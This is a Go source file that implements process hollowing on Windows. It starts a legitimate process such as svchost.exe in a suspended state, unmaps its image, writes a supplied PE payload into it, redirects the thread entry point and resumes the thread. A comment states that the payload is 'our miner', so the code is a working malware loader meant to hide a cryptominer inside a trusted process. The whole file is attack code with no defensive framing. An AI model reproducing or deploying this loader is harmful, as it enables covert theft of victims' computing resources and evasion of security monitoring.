//go:build windows && hollow package deploy import ( "encoding/binary" "fmt" "syscall" "unsafe" ) var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") ntdll = syscall.NewLazyDLL("ntdll.dll") procCreateProcessW = kernel32.NewProc("CreateProcessW") procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx") procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory") procGetThreadContext = kernel32.NewProc("GetThreadContext") procSetThreadContext = kernel32.NewProc("SetThreadContext") procResumeThread = kernel32.NewProc("ResumeThread") procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection") ) const ( CREATE_SUSPENDED = 0x00000004 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 CONTEXT_FULL_AMD64 = 0x10000B ) // RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process. func RunHollowed(targetExe string, payload []byte) error { // Parse payload PE headers dynamically if len(payload) < 0x40 { return fmt.Errorf("payload too small") } e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:]) if int(e_lfanew)+24 > len(payload) { return fmt.Errorf("invalid PE header offset") } ntHeader := payload[e_lfanew:] if string(ntHeader[:4]) != "PE\x00\x00" { return fmt.Errorf("invalid PE signature") } if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 { return fmt.Errorf("payload must be 64-bit (x64) PE") } numSections := binary.LittleEndian.Uint16(ntHeader[6:]) sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:]) optHeader := ntHeader[24:] if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B { return fmt.Errorf("payload must be PE32+") } entryPoint := binary.LittleEndian.Uint32(optHeader[16:]) imageBase := binary.LittleEndian.Uint64(optHeader[24:]) sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:]) sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:]) targetPtr, err := syscall.UTF16PtrFromString(targetExe) if err != nil { return err } si := new(syscall.StartupInfo) si.Cb = uint32(unsafe.Sizeof(*si)) pi := new(syscall.ProcessInformation) // 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state ret, _, err := procCreateProcessW.Call( 0, uintptr(unsafe.Pointer(targetPtr)), 0, 0, 0, uintptr(CREATE_SUSPENDED), 0, 0, uintptr(unsafe.Pointer(si)), uintptr(unsafe.Pointer(pi)), ) if ret == 0 { return fmt.Errorf("CreateProcessW failed: %v", err) } defer syscall.CloseHandle(pi.Process) defer syscall.CloseHandle(pi.Thread) // The following maps the exact structural steps needed for PE injection. // Note: To make this fully functional, you need full PE offset math // (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice. // 2. Get Thread Context to locate the Process Environment Block (PEB) // Allocate 16-byte aligned context buffer for x64 ctxBytes := make([]byte, 1232+16) var ctxPtr uintptr for i := 0; i < 16; i++ { if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 { ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i])) break } } *(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr) if ret == 0 { return fmt.Errorf("GetThreadContext failed: %v", err) } rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64 // 3. Read the PEB to find the original ImageBase var origImageBase uint64 var bytesRW uintptr procReadProcessMemory.Call( uintptr(pi.Process), uintptr(rdx+16), // PEB.ImageBaseAddress uintptr(unsafe.Pointer(&origImageBase)), 8, uintptr(unsafe.Pointer(&bytesRW)), ) // 4. Unmap the original executable code from memory if origImageBase != 0 { procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase)) } // 5. Allocate new memory for our payload at the required ImageBase newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if newMem == 0 { // Fallback allocation if preferred base is taken (Payload must support relocation) newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if newMem == 0 { return fmt.Errorf("VirtualAllocEx failed: %v", err) } } // 6. Write the PE headers and each PE section into the new memory allocation procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW))) sectionsStart := 24 + uint32(sizeOfOptionalHeader) for i := uint16(0); i < numSections; i++ { secHdr := ntHeader[sectionsStart+uint32(i)*40:] virtAddr := binary.LittleEndian.Uint32(secHdr[12:]) sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:]) ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:]) if sizeOfRawData > 0 { procWriteProcessMemory.Call( uintptr(pi.Process), newMem+uintptr(virtAddr), uintptr(unsafe.Pointer(&payload[ptrToRawData])), uintptr(sizeOfRawData), uintptr(unsafe.Pointer(&bytesRW)), ) } } // Update the PEB with the new ImageBase procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW))) // 7. Update the Thread Context to point to our payload's Entry Point *(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr) // 8. Resume the hollowed thread, launching our miner inside the target shell ret, _, err = procResumeThread.Call(uintptr(pi.Thread)) if ret == 0xFFFFFFFF { return fmt.Errorf("ResumeThread failed: %v", err) } return nil }